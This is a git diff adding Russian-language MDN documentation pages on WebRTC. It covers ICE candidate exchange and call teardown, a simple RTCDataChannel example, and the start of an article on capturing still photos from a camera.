+<p class="brush: js">This code is very similar to what we did in the <code>invite()</code> function back in {{anch("Starting a call")}}. It starts by creating and configuring an {{domxref("RTCPeerConnection")}} using our <code>createPeerConnection()</code> function. Then it takes the SDP offer from the received <code>"video-offer"</code> message and uses it to create a new {{domxref("RTCSessionDescription")}} object representing the caller's session description.</p>
+
+<p class="brush: js">That session description is then passed into {{domxref("RTCPeerConnection.setRemoteDescription", "myPeerConnection.setRemoteDescription()")}}. This establishes the received offer as the description of the remote (caller's) end of the connection. If this is successful, the promise fulfillment handler (in the <code>then()</code> clause) starts the process of getting access to the callee's camera and microphone using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, adding the tracks to the connection, and so forth, as we saw previously in <code>invite()</code>.</p>
+
+<p class="brush: js">Once the answer has been created using {{domxref("RTCPeerConnection.createAnswer", "myPeerConnection.createAnswer()")}}, the description of the local end of the connection is set to the answer's SDP by calling {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, then the answer is transmitted through the signaling server to the caller to let them know what the answer is</p>
+
+<p>Any errors are caught and passed to <code>handleGetUserMediaError()</code>, described in {{anch("Handling getUserMedia() errors")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> As is the case with the caller, once the <code>setLocalDescription()</code> fulfillment handler has run, the browser begins firing {{event("icecandidate")}} events that the callee must handle, one for each candidate that needs to be transmitted to the remote peer.</p>
+</div>
+
+<h5 id="Sending_ICE_candidates">Sending ICE candidates</h5>
+
+<p>The ICE negotiation process involves each peer sending candidates to the other, repeatedly, until it runs out of potential ways it can support the <code>RTCPeerConnection</code>'s media transport needs. Since ICE doesn't know about your signaling server, your code handles transmission of each candidate in your handler for the {{event("icecandidate")}} event.</p>
+
+<p>Your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler receives an event whose <code>candidate</code> property is the SDP describing the candidate (or is <code>null</code> to indicate that the ICE layer has run out of potential configurations to suggest). The contents of <code>candidate</code> are what you need to transmit using your signaling server. Here's our example's implementation:</p>
+
+<pre class="brush: js notranslate">function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}</pre>
+
+<p>This builds an object containing the candidate, then sends it to the other peer using the <code>sendToServer()</code> function previously described in {{anch("Sending messages to the signaling server")}}. The message's properties are:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username the ICE candidate needs to be delivered to. This lets the signaling server route the message.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>The SDP representing the candidate the ICE layer wants to transmit to the other peer.</dd>
+</dl>
+
+<p>The format of this message (as is the case with everything you do when handling signaling) is entirely up to you, depending on your needs; you can provide other information as required.</p>
+
+<div class="note">
+<p><strong>Note:</strong> It's important to keep in mind that the {{event("icecandidate")}} event is <strong>not</strong> sent when ICE candidates arrive from the other end of the call. Instead, they're sent by your own end of the call so that you can take on the job of transmitting the data over whatever channel you choose. This can be confusing when you're new to WebRTC.</p>
+</div>
+
+<h5 id="Receiving_ICE_candidates">Receiving ICE candidates</h5>
+
+<p>The signaling server delivers each ICE candidate to the destination peer using whatever method it chooses; in our example this is as JSON objects, with a <code>type</code> property containing the string <code>"new-ice-candidate"</code>. Our <code>handleNewICECandidateMsg()</code> function is called by our main <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> incoming message code to handle these messages:</p>
+
+<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}</pre>
+
+<p>This function constructs an {{domxref("RTCIceCandidate")}} object by passing the received SDP into its constructor, then delivers the candidate to the ICE layer by passing it into {{domxref("RTCPeerConnection.addIceCandidate", "myPeerConnection.addIceCandidate()")}}. This hands the fresh ICE candidate to the local ICE layer, and finally, our role in the process of handling this candidate is complete.</p>
+
+<p>Each peer sends to the other peer a candidate for each possible transport configuration that it believes might be viable for the media being exchanged. At some point, the two peers agree that a given candidate is a good choice and they open the connection and begin to share media. It's important to note, however, that ICE negotiation does <em>not</em> stop once media is flowing. Instead, candidates may still keep being exchanged after the conversation has begun, either while trying to find a better connection method, or simply because they were already in transport when the peers successfully established their connection.</p>
+
+<p>In addition, if something happens to cause a change in the streaming scenario, negotiation will begin again, with the {{event("negotiationneeded")}} event being sent to the {{domxref("RTCPeerConnection")}}, and the entire process starts again as described before. This can happen in a variety of situations, including:</p>
+
+<ul>
+ <li>Changes in the network status, such as a bandwidth change, transitioning from WiFi to cellular connectivity, or the like.</li>
+ <li>Switching between the front and rear cameras on a phone.</li>
+ <li>A change to the configuration of the stream, such as its resolution or frame rate.</li>
+</ul>
+
+<h5 id="Receiving_new_streams">Receiving new streams</h5>
+
+<p>When new tracks are added to the <code>RTCPeerConnection</code>— either by calling its {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} method or because of renegotiation of the stream's format—a {{event("track")}} event is set to the <code>RTCPeerConnection</code> for each track added to the connection. Making use of newly added media requires implementing a handler for the <code>track</code> event. A common need is to attach the incoming media to an appropriate HTML element. In our example, we add the track's stream to the {{HTMLElement("video")}} element that displays the incoming video:</p>
+
+<pre class="brush: js notranslate">function handleTrackEvent(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+}</pre>
+
+<p>The incoming stream is attached to the <code>"received_video"</code> {{HTMLElement("video")}} element, and the "Hang Up" {{HTMLElement("button")}} element is enabled so the user can hang up the call.</p>
+
+<p>Once this code has completed, finally the video being sent by the other peer is displayed in the local browser window!</p>
+
+<h5 id="Handling_the_removal_of_tracks">Handling the removal of tracks</h5>
+
+<p>Your code receives a {{event("removetrack")}} event when the remote peer removes a track from the connection by calling {{domxref("RTCPeerConnection.removeTrack()")}}. Our handler for <code>"removetrack"</code> is:</p>
+
+<pre class="brush: js notranslate">function handleRemoveTrackEvent(event) {
+  var stream = document.getElementById("received_video").srcObject;
+  var trackList = stream.getTracks();
+
+  if (trackList.length == 0) {
+    closeVideoCall();
+  }
+}</pre>
+
+<p>This code fetches the incoming video {{domxref("MediaStream")}} from the <code>"received_video"</code> {{HTMLElement("video")}} element's {{htmlattrxref("srcObject", "video")}} attribute, then calls the stream's {{domxref("MediaStream.getTracks", "getTracks()")}} method to get an array of the stream's tracks.</p>
+
+<p>If the array's length is zero, meaning there are no tracks left in the stream, we end the call by calling <code>closeVideoCall()</code>. This cleanly restores our app to a state in which it's ready to start or receive another call. See {{anch("Ending the call")}} to learn how <code>closeVideoCall()</code> works.</p>
+
+<h4 id="Ending_the_call">Ending the call</h4>
+
+<p>There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred, or one user might have quit their browser, or had a system crash. In any case, all good things must come to an end.</p>
+
+<h5 id="Hanging_up">Hanging up</h5>
+
+<p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is called:</p>
+
+<pre class="brush: js notranslate">function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}</pre>
+
+<p><code>hangUpCall()</code> executes <code>closeVideoCall()</code> to shut down and reset the connection and release resources. It then builds a <code>"hang-up"</code> message and sends it to the other end of the call to tell the other peer to neatly shut itself down.</p>
+
+<h5 id="Ending_the_call_2">Ending the call</h5>
+
+<p>The <code>closeVideoCall()</code> function, shown below, is responsible for stopping the streams, cleaning up, and disposing of the {{domxref("RTCPeerConnection")}} object:</p>
+
+<pre class="brush: js notranslate">function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    myPeerConnection.ontrack = null;
+    myPeerConnection.onremovetrack = null;
+    myPeerConnection.onremovestream = null;
+    myPeerConnection.onicecandidate = null;
+    myPeerConnection.oniceconnectionstatechange = null;
+    myPeerConnection.onsignalingstatechange = null;
+    myPeerConnection.onicegatheringstatechange = null;
+    myPeerConnection.onnegotiationneeded = null;
+
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  remoteVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+  localVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+
+  document.getElementById("hangup-button").disabled = true;
+  targetUsername = null;
+}
+</pre>
+
+<p>After pulling references to the two {{HTMLElement("video")}} elements, we check if a WebRTC connection exists; if it does, we proceed to disconnect and close the call:</p>
+
+<ol>
+ <li>All of the event handlers are removed. This prevents stray event handlers from being triggered while the connection is in the process of closing, potentially causing errors.</li>
+ <li>For both remote and local video streams, we iterate over each track, calling the {{domxref("MediaStreamTrack.stop()")}} method to close each one.</li>
+ <li>Close the {{domxref("RTCPeerConnection")}} by calling {{domxref("RTCPeerConnection.close", "myPeerConnection.close()")}}.</li>
+ <li>Set <code>myPeerConnection</code> to <code>null</code>, ensuring our code learns there's no ongoing call; this is useful when the user clicks a name in the user list.</li>
+</ol>
+
+<p>Then for both the incoming and outgoing {{HTMLElement("video")}} elements, we remove their {{htmlattrxref("src", "video")}} and {{htmlattrxref("srcObject", "video")}} attributes using their {{domxref("Element.removeAttribute", "removeAttribute()")}} methods. This completes the disassociation of the streams from the video elements.</p>
+
+<p>Finally, we set the {{domxref("HTMLElement.disabled", "disabled")}} property to <code>true</code> on the "Hang Up" button, making it unclickable while there is no call underway; then we set <code>targetUsername</code> to <code>null</code> since we're no longer talking to anyone. This allows the user to call another user, or to receive an incoming call.</p>
+
+<h4 id="Dealing_with_state_changes">Dealing with state changes</h4>
+
+<p>There are a number of additional events you can set listeners for which notifying your code of a variety of state changes. We use three of them: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.</p>
+
+<h5 id="ICE_connection_state">ICE connection state</h5>
+
+<p>{{event("iceconnectionstatechange")}} events are sent to the {{domxref("RTCPeerConnection")}} by the ICE layer when the connection state changes (such as when the call is terminated from the other end).</p>
+
+<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}</pre>
+
+<p>Here, we apply our <code>closeVideoCall()</code> function when the ICE connection state changes to <code>"closed"</code>, <code>"failed"</code>, or <code>"disconnected"</code>. This handles shutting down our end of the connection so that we're ready start or accept a call once again.</p>
+
+<h5 id="ICE_signaling_state">ICE signaling state</h5>
+
+<p>Similarly, we watch for {{event("signalingstatechange")}} events. If the signaling state changes to <code>closed</code>, we likewise close the call out.</p>
+
+<pre class="brush: js notranslate">function handleSignalingStateChangeEvent(event) {
+  switch(myPeerConnection.signalingState) {
+    case "closed":
+      closeVideoCall();
+      break;
+  }
+};</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> The <code>closed</code> signaling state has been deprecated in favor of the <code>closed</code> {{domxref("RTCPeerConnection.iceConnectionState", "iceConnectionState")}}. We are watching for it here to add a bit of backward compatibility.</p>
+</div>
+
+<h5 id="ICE_gathering_state">ICE gathering state</h5>
+
+<p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but it can be useful to watch these events for debugging purposes, as well as to detect when candidate collection has finished.</p>
+
+<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+</pre>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>You can now <a href="https://webrtc-from-chat.glitch.me/">try out this example on Glitch</a> to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">GitHub</a>) has a lot of console output so you can see the signaling and connection processes at work.</p>
+
+<p>Another obvious improvement would be to add a "ringing" feature, so that instead of just asking the user for permission to use the camera and microphone, a "User X is calling. Would you like to answer?" prompt appears first.</p>
diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
new file mode 100644
index 0000000000..5d818e7829
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
@@ -0,0 +1,272 @@
+---
+title: Простой пример RTCDataChannel
+slug: Web/API/WebRTC_API/Simple_RTCDataChannel_sample
+translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Интерфейс {{domxref("RTCDataChannel")}} является функциональностью  <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти  API намеренно сходны с  <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, для использования единой програмной модели.</p>
+
+<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.</p>
+
+<h2 id="Разметка_HTML">Разметка HTML</h2>
+
+<p>Сначала быстро посмотрим на  <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel/index.html" rel="noopener">необходимую разметку HTML </a>. В ней нет ничего сложного. В начале мы определяем пару кнопок, создающих и закрывающих соединение:</p>
+
+<pre class="brush: html">&lt;button id="connectButton" name="connectButton" class="buttonleft"&gt;
+  Connect
+&lt;/button&gt;
+&lt;button id="disconnectButton" name="disconnectButton" class="buttonright" disabled&gt;
+  Disconnect
+&lt;/button&gt;</pre>
+
+<p>Затем, определяем блок, который содержит элемент управления ввода текста, в который пользователь печатает текст свого сообщения, предназначенного для отправки, по нажатию кнопки. Элемент {{HTMLElement("div")}} будет представлять первый узлел в канале передачи (сторона отправителя).</p>
+
+<pre class="brush: html">  &lt;div class="messagebox"&gt;
+    &lt;label for="message"&gt;Enter a message:
+      &lt;input type="text" name="message" id="message" placeholder="Message text"
+              inputmode="latin" size=60 maxlength=120 disabled&gt;
+    &lt;/label&gt;
+    &lt;button id="sendButton" name="sendButton" class="buttonright" disabled&gt;
+      Send
+    &lt;/button&gt;
+  &lt;/div&gt;</pre>
+
+<p>И наконец, небольшой блок, в который будем помещать получаемое сообщение. Элемент {{HTMLElement("div")}} будет представлять второй узел соединения (сторона получателя).</p>
+
+<pre class="brush: html">&lt;div class="messagebox" id="receivebox"&gt;
+  &lt;p&gt;Messages received:&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="Код_JavaScript">Код JavaScript</h2>
+
+<p>While you can just <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel/main.js" rel="noopener">look at the code itself on GitHub</a>, below we'll review the parts of the code that do the heavy lifting.</p>
+
+<p>The WebRTC API makes heavy use of {{jsxref("Promise")}}s. They make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 2015</a>, you should read up on them. Similarly, this example uses <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> to simplify syntax.</p>
+
+<h3 id="Starting_up">Starting up</h3>
+
+<p>When the script is run, we set up an {{event("load")}} event listener, so that once the page is fully loaded, our <code>startup()</code> function is called.</p>
+
+<pre class="brush: js">function startup() {
+  connectButton = document.getElementById('connectButton');
+  disconnectButton = document.getElementById('disconnectButton');
+  sendButton = document.getElementById('sendButton');
+  messageInputBox = document.getElementById('message');
+  receiveBox = document.getElementById('receivebox');
+
+  // Set event listeners for user interface widgets
+
+  connectButton.addEventListener('click', connectPeers, false);
+  disconnectButton.addEventListener('click', disconnectPeers, false);
+  sendButton.addEventListener('click', sendMessage, false);
+}</pre>
+
+<p>This is quite straightforward. We grab references to all the page elements we'll need to access, then set {{domxref("EventListener", "event listeners")}} on the three buttons.</p>
+
+<h3 id="Establishing_a_connection">Establishing a connection</h3>
+
+<p>When the user clicks the "Connect" button, the <code>connectPeers()</code> method is called. We're going to break this up and look at it a bit at a time, for clarity.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Even though both ends of our connection will be on the same page, we're going to refer to the one that starts the connection as the "local" one, and to the other as the "remote" end.</p>
+</div>
+
+<h4 id="Set_up_the_local_peer">Set up the local peer</h4>
+
+<pre class="brush: js">localConnection = new RTCPeerConnection();
+
+sendChannel = localConnection.createDataChannel("sendChannel");
+sendChannel.onopen = handleSendChannelStatusChange;
+sendChannel.onclose = handleSendChannelStatusChange;
+</pre>
+
+<p>The first step is to create the "local" end of the connection. This is the peer that will send out the connection request.  The next step is to create the {{domxref("RTCDataChannel")}} by calling {{domxref("RTCPeerConnection.createDataChannel()")}} and set up event listeners to monitor the channel so that we know when it's opened and closed (that is, when the channel is connected or disconnected within that peer connection).</p>
+
+<p>It's important to keep in mind that each end of the channel has its own {{domxref("RTCDataChannel")}} object.</p>
+
+<h4 id="Set_up_the_remote_peer">Set up the remote peer</h4>
+
+<pre class="brush: js">remoteConnection = new RTCPeerConnection();
+remoteConnection.ondatachannel = receiveChannelCallback;</pre>
+
+<p>The remote end is set up similarly, except that we don't need to explicitly create an {{domxref("RTCDataChannel")}} ourselves, since we're going to be connected through the channel established above. Instead, we set up a {{event("datachannel")}} event handler; this will be called when the data channel is opened; this handler will receive an <code>RTCDataChannel</code> object; you'll see this below.</p>
+
+<h4 id="Set_up_the_ICE_candidates">Set up the ICE candidates</h4>
+
+<p>The next step is to set up each connection with ICE candidate listeners; these will be called when there's a new ICE candidate to tell the other side about.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In a real-world scenario in which the two peers aren't running in the same context, the process is a bit more involved; each side provides, one at a time, a suggested way to connect (for example, UDP, UDP with a relay, TCP, etc.) by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}, and they go back and forth until agreement is reached. But here, we just accept the first offer on each side, since there's no actual networking involved.</p>
+</div>
+
+<pre class="brush: js">    localConnection.onicecandidate = e =&gt; !e.candidate
+        || remoteConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+
+    remoteConnection.onicecandidate = e =&gt; !e.candidate
+        || localConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);</pre>
+
+<p>We configure each {{domxref("RTCPeerConnection")}} to have an event handler for the {{event("icecandidate")}} event.</p>
+
+<h4 id="Start_the_connection_attempt">Start the connection attempt</h4>
+
+<p>The last thing we need to do in order to begin connecting our peers is to create a connection offer.</p>
+
+<pre class="brush: js">    localConnection.createOffer()
+    .then(offer =&gt; localConnection.setLocalDescription(offer))
+    .then(() =&gt; remoteConnection.setRemoteDescription(localConnection.localDescription))
+    .then(() =&gt; remoteConnection.createAnswer())
+    .then(answer =&gt; remoteConnection.setLocalDescription(answer))
+    .then(() =&gt; localConnection.setRemoteDescription(remoteConnection.localDescription))
+    .catch(handleCreateDescriptionError);</pre>
+
+<p>Let's go through this line by line and decipher what it means.</p>
+
+<ol>
+ <li>First, we call {{domxref("RTCPeerConnection.createOffer()")}} method to create an {{Glossary("SDP")}} (Session Description Protocol) blob describing the connection we want to make. This method accepts, optionally, an object with constraints to be met for the connection to meet your needs, such as whether the connection should support audio, video, or both. In our simple example, we don't have any constraints.</li>
+ <li>If the offer is created successfully, we pass the blob along to the local connection's {{domxref("RTCPeerConnection.setLocalDescription()")}} method. This configures the local end of the connection.</li>
+ <li>The next step is to connect the local peer to the remote by telling the remote peer about it. This is done by calling <code>remoteConnection.</code>{{domxref("RTCPeerConnection.setRemoteDescription()")}}. Now the <code>remoteConnection</code> knows about the connection that's being built. In a real application, this would require a signaling server to exchange the description object.</li>
+ <li>That means it's time for the remote peer to reply. It does so by calling its {{domxref("RTCPeerConnection.createAnswer", "createAnswer()")}} method. This generates a blob of SDP which describes the connection the remote peer is willing and able to establish. This configuration lies somewhere in the union of options that both peers can support.</li>
+ <li>Once the answer has been created, it's passed into the remoteConnection by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. That establishes the remote's end of the connection (which, to the remote peer, is its local end. This stuff can be confusing, but you get used to it). Again, this would normally be exchanged through a signalling server.</li>
+ <li>Finally, the local connection's remote description is set to refer to the remote peer by calling localConnection's {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</li>
+ <li>The <code>catch()</code> calls a routine that handles any errors that occur.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note:</strong> Once again, this process is not a real-world implementation; in normal usage, there's two chunks of code running on two machines, interacting and negotiating the connection. A side channel, commonly called a “signalling server,” is usually used to exchange the description (which is in <strong>application/sdp</strong> form) between the two peers.</p>
+</div>
+
+<h4 id="Handling_successful_peer_connection">Handling successful peer connection</h4>
+
+<p>As each side of the peer-to-peer connection is successfully linked up, the corresponding {{domxref("RTCPeerConnection")}}'s {{event("icecandidate")}} event is fired. These handlers can do whatever's needed, but in this example, all we need to do is update the user interface:</p>
+
+<pre class="brush: js">  function handleLocalAddCandidateSuccess() {
+    connectButton.disabled = true;
+  }
+
+  function handleRemoteAddCandidateSuccess() {
+    disconnectButton.disabled = false;
+  }</pre>
+
+<p>The only thing we do here is disable the "Connect" button when the local peer is connected and enable the "Disconnect" button when the remote peer connects.</p>
+
+<h4 id="Connecting_the_data_channel">Connecting the data channel</h4>
+
+<p>Once the {{domxref("RTCPeerConnection")}} is open, the {{event("datachannel")}} event is sent to the remote to complete the process of opening the data channel; this invokes our <code>receiveChannelCallback()</code> method, which looks like this:</p>
+
+<pre class="brush: js">  function receiveChannelCallback(event) {
+    receiveChannel = event.channel;
+    receiveChannel.onmessage = handleReceiveMessage;
+    receiveChannel.onopen = handleReceiveChannelStatusChange;
+    receiveChannel.onclose = handleReceiveChannelStatusChange;
+  }</pre>
+
+<p>The {{event("datachannel")}} event includes, in its channel property, a reference to a {{domxref("RTCDataChannel")}} representing the remote peer's end of the channel. This is saved, and we set up, on the channel, event listeners for the events we want to handle. Once this is done, our <code>handleReceiveMessage()</code> method will be called each time data is received by the remote peer, and the <code>handleReceiveChannelStatusChange()</code> method will be called any time the channel's connection state changes, so we can react when the channel is fully opened and when it's closed.</p>
+
+<h3 id="Handling_channel_status_changes">Handling channel status changes</h3>
+
+<p>Both our local and remote peers use a single method to handle events indicating a change in the status of the channel's connection.</p>
+
+<p>When the local peer experiences an open or close event, the <code>handleSendChannelStatusChange()</code> method is called:</p>
+
+<pre class="brush: js">  function handleSendChannelStatusChange(event) {
+    if (sendChannel) {
+      var state = sendChannel.readyState;
+
+      if (state === "open") {
+        messageInputBox.disabled = false;
+        messageInputBox.focus();
+        sendButton.disabled = false;
+        disconnectButton.disabled = false;
+        connectButton.disabled = true;
+      } else {
+        messageInputBox.disabled = true;
+        sendButton.disabled = true;
+        connectButton.disabled = false;
+        disconnectButton.disabled = true;
+      }
+    }
+  }</pre>
+
+<p>If the channel's state has changed to "open", that indicates that we have finished establishing the link between the two peers. The user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can immediately begin to type, enabling the "Send" and "Disconnect" buttons, now that they're usable, and disabling the "Connect" button, since it is not needed when the conneciton is open.</p>
+
+<p>If the state has changed to "closed", the opposite set of actions occurs: the input box and "Send" button are disabled, the "Connect" button is enabled so that the user can open a new connection if they wish to do so, and the "Disconnect" button is disabled, since it's not useful when no connection exists.</p>
+
+<p>Our example's remote peer, on the other hand, ignores the status change events, except for logging the event to the console:</p>
+
+<pre class="brush: js">  function handleReceiveChannelStatusChange(event) {
+    if (receiveChannel) {
+      console.log("Receive channel's status has changed to " +
+                  receiveChannel.readyState);
+    }
+  }</pre>
+
+<p>The <code>handleReceiveChannelStatusChange()</code> method receives as an input parameter the event which occurred; this will be an {{domxref("RTCDataChannelEvent")}}.</p>
+
+<h3 id="Sending_messages">Sending messages</h3>
+
+<p>When the user presses the "Send" button, the sendMessage() method we've established as the handler for the button's {{event("click")}} event is called. That method is simple enough:</p>
+
+<pre class="brush: js">  function sendMessage() {
+    var message = messageInputBox.value;
+    sendChannel.send(message);
+
+    messageInputBox.value = "";
+    messageInputBox.focus();
+  }</pre>
+
+<p>First, the text of the message is fetched from the input box's {{htmlattrxref("value", "input")}} attribute. This is then sent to the remote peer by calling {{domxref("RTCDataChannel.send", "sendChannel.send()")}}. That's all there is to it! The rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can immediately begin typing another message.</p>
+
+<h3 id="Receiving_messages">Receiving messages</h3>
+
+<p>When a "message" event occurs on the remote channel, our <code>handleReceiveMessage()</code> method is called as the event handler.</p>
+
+<pre class="brush: js">  function handleReceiveMessage(event) {
+    var el = document.createElement("p");
+    var txtNode = document.createTextNode(event.data);
+
+    el.appendChild(txtNode);
+    receiveBox.appendChild(el);
+  }</pre>
+
+<p>This method simply performs some basic {{Glossary("DOM")}} injection; it creates a new {{HTMLElement("p")}} (paragraph) element, then creates a new {{domxref("Text")}} node containing the message text, which is received in the event's <code>data</code> property. This text node is appended as a child of the new element, which is then inserted into the <code>receiveBox</code> block, thereby causing it to draw in the browser window.</p>
+
+<h3 id="Disconnecting_the_peers">Disconnecting the peers</h3>
+
+<p>When the user clicks the "Disconnect" button, the <code>disconnectPeers()</code> method previously set as that button's handler is called.</p>
+
+<pre class="brush: js">  function disconnectPeers() {
+
+    // Close the RTCDataChannels if they're open.
+
+    sendChannel.close();
+    receiveChannel.close();
+
+    // Close the RTCPeerConnections
+
+    localConnection.close();
+    remoteConnection.close();
+
+    sendChannel = null;
+    receiveChannel = null;
+    localConnection = null;
+    remoteConnection = null;
+
+    // Update user interface elements
+
+    connectButton.disabled = false;
+    disconnectButton.disabled = true;
+    sendButton.disabled = true;
+
+    messageInputBox.value = "";
+    messageInputBox.disabled = true;
+  }
+</pre>
+
+<p>This starts by closing each peer's {{domxref("RTCDataChannel")}}, then, similarly, each {{domxref("RTCPeerConnection")}}. Then all the saved references to these objects are set to <code>null</code> to avoid accidental reuse, and the user interface is updated to reflect the fact that the connection has been closed.</p>
+
+<h2 id="Следующие_шаги">Следующие шаги</h2>
+
+<p><a href="https://mdn-samples.mozilla.org/s/webrtc-simple-datachannel">Попробуйте пример в деле</a>  и посмотрите на <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel">исходный код простого примера</a>, доступный на GitHub.</p>
diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
new file mode 100644
index 0000000000..ec5e7ec42d
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
@@ -0,0 +1,222 @@
+---
+title: Захват кадров с WebRTC
+slug: Web/API/WebRTC_API/Taking_still_photos
+tags:
+  - Захват WebRTC
+translation_of: Web/API/WebRTC_API/Taking_still_photos
+---
+<p dir="rtl"><span><span><span><span>{{WebRTCSidebar}}</span></span></span></span></p>
+
+<p><span class="seoSummary"><span><span><span><span>В этой статье объясняется как использовать WebRTC для получения доступа к камере компьютера или мобильного устройства, и захвата кадров с их помощью. </span></span></span></span></span><a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill"><span><span><span><span>Ознакомтесь с примером,</span></span></span></span></a><span><span><span><span> а затем узнайте как это работает.</span></span></span></span></p>
+
+<p><img alt="Uz WebRTC balstīta attēla uztveršanas lietotne - kreisajā pusē un bez tīmekļa kameras uzņemšanas video straumē un poga" src="https://mdn.mozillademos.org/files/10281/web-rtc-demo.png" style="display: block; height: 252px; margin: 0 auto; width: 677px;"></p>
+
+<p><span><span><span><span>Перейдите непостредственно </span></span></span></span><a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill" rel="noopener"><span><span><span><span>к коду на Github</span></span></span></span></a><span><span><span><span> , при желании.</span></span></span></span></p>
+
+<h2 id="Разметка_HTML"><span><span><span><span>Разметка HTML</span></span></span></span></h2>
+
+<p><a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/index.html" rel="noopener"><span><span><span><span>Наш HTML интерфейс</span></span></span></span></a><span><span><span><span> состоит из двух секций : панель отображения видео потока, из которого будет производиться захват и панель отображения результата захвата. Каждая панель имеет свой элемент </span></span></span><span><span><span>{{HTMLElement ("div")}}, для облегчения стилизации и управления.</span></span></span></span></p>
+
+<p><span><span><span><span>Первая панель слева содержит два компонента : элемент {{HTMLElement ("video")}} , который будет получать поток, отводимый с камеры, и элемент  </span></span></span></span>{{HTMLElement("button")}}, каторый будет использоваться пользователем для активации захвата видео кадра.</p>
+
+<pre>  &lt;div class="camera"&gt;
+    &lt;video id="video"&gt;Video stream not available.&lt;/video&gt;
+    &lt;button id="startbutton"&gt;Take photo&lt;/button&gt;
+  &lt;/div&gt;</pre>
+
+<p>Все это просто, и мы увидим как они связаны между собой, когда обратимся к коду  JavaScript .</p>
+
+<p>В разметке имеется элемент {{HTMLElement("canvas")}} , который сохраняет захваченный кадр, который может быть дополнительно обработан и конвертируется в выходной файл изображения. Элемент<code> canvas </code>является скрытым, в его стиле свойство {{cssxref("display")}}<code>:none</code>, во избежании поломки интерфейса, где пользователю совершенно не обязательно видеть служебные элементы.</p>
+
+<p>Для отображения пользователю результата захвата кадра, в интерфейсе расположен элемент {{HTMLElement("img")}}.</p>
+
